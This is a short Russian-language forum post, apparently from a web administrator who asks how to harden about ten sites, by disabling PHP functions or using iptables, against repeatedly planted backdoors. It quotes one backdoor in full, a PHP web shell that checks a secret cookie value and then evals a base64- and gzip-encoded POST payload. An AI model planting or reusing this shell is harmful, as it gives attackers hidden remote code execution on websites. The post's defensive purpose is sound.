Есть с десяток сайтов на них постоянно back door`ы появляются вида:
<?php
if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){
if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){
echo '<textarea id=areatext>';
eval($msg);
echo '</textarea>bg';
exit;
}}
?>посоветуйте какие функции запретить чтобы у них не было доступа к файлам сайта (иначе инклюды делают) и рассылке спама.
Сейчас начал отключать функции которые через eval идут, но многие отключить не удается, они движками сайтов используются...
так же смотрю в сторону блокировки на уровне iptables по owner output
Что еще посоветуете?
